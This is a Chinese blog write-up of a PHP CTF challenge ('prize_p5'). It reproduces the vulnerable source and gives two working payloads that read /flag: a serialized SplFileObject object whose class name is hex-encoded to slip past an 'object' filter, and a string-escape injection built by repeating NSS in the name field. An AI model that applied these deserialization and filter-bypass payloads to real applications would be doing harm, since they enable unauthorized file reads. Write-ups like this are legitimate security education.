很有意思的一道题目,预期解就是通过字符串逃逸去读取flag非预期就是通过十六进制利用原生类去读取flag
<?php
error_reporting(0);
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "error";
$this->data = "hacker";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}
class error{
public function __construct($OTL)
{
$this->OTL = $OTL;
echo ("hello ".$this->OTL);
}
}
class escape{
public $name = 'OTL';
public $phone = '123666';
public $email = '[email protected]';
}
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
if(!preg_match('/object/i',$_GET['cata'])){ //这个object就是object字符串 所以用原生类去读取的时候会被过滤掉
unserialize($_GET['cata']);
}
else{
$cc = new catalogue();
unserialize(serialize($cc));
}
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
}
}
}
else{
highlight_file(__FILE__);
}
?>
先来说一下非预期解:
非预期就是利用Globlterator 去读取flag的具体位置,但是环境可能出了点问题,出不来,看其他的wp是 /flag
用SplFileObject 去读取的时候object会被过滤掉
但是有一种方法就是利用十六进制
O:9:"catalogue":2:{s:5:"class";s:13:"SplFileObject";s:4:"data";s:5:"/flag";}
把SplFileObject前面的那个小写的s替换成大写的S 然后后面的Object任意一个字符替换成十六进制
Object对应的十六进制是\x4F\x62\x6A\x65\x63\x74 然后传的时候把x去掉
然后下面是预期解 通过字符串逃逸
这个题的话可以通过字符串逃逸增加,也可以通过字符串逃逸减少 下面介绍一下字符串逃逸增加的用法
字符串逃逸增加:
我这个是通过NSS来的,你通过其他的比hacker少的字符来的话都可以其实
先来看下面这段代码:
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
这个首先对email的值进行了一个/flag的检测,(不区分大小写)
然后分别POST传参三个参数 abscond这个函数就是进行一个替换 'NSS', 'CTF', 'OTL_QAQ', 'hello' 如果匹配到了上面四个值的话,就会替换成hacker
接下来进行一个反序列化,get_object_vars这个函数的意思可以看看以下演示的理解一下
总的说就是用于获取指定对象的属性和值,并返回一个关联数组。
class Person {
public $name;
public $age;
public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
}
$person = new Person("John Doe", 25);
$vars = get_object_vars($person);
print_r($vars);
输出结果:
Array
(
[name] => John Doe
[age] => 25
)
最后的那个if判断就是如果phone是一个数组的话,就把以email为路径的文件内容给读取并以字符串的形式给打印出来
最后把内容进行一个base64加密
分析完后我们通过字符串逃逸的方式,将email的值设为/flag,然后把它给放到name里面去,让它变成一个name的值
这样就绕过了对email的一个检测
先来看一下简单的一个测试:
<?php
class escape{
public $name = 'Nq';
public $phone = array('aa');
public $email = '/flag';
}
$a=new escape();
$b=serialize($a);
echo $b;
?>
结果如下:
O:6:"escape":3:{s:4:"name";s:2:"Nq";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}
我们要做的就是将";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}这个给变成name的一个值
字符串逃逸的话可以去看看我的这篇博客 (初学者,是自己对反序列化逃逸的一个理解)
上面我们要塞进去的有58个字符,有一点点长啊
一个NSS可以逃逸出3个字符,根据计算我们要19个NSS加一个hello
name的值就是: name=NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShello";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}
然后phpone的值随便输就行,注意的是emial的值不能是/flag,其他的都可以
`````````` 标签:name,abscond,p5,public,phone,复现,POST,email,prize From: https://www.cnblogs.com/mrfs/p/17503431.html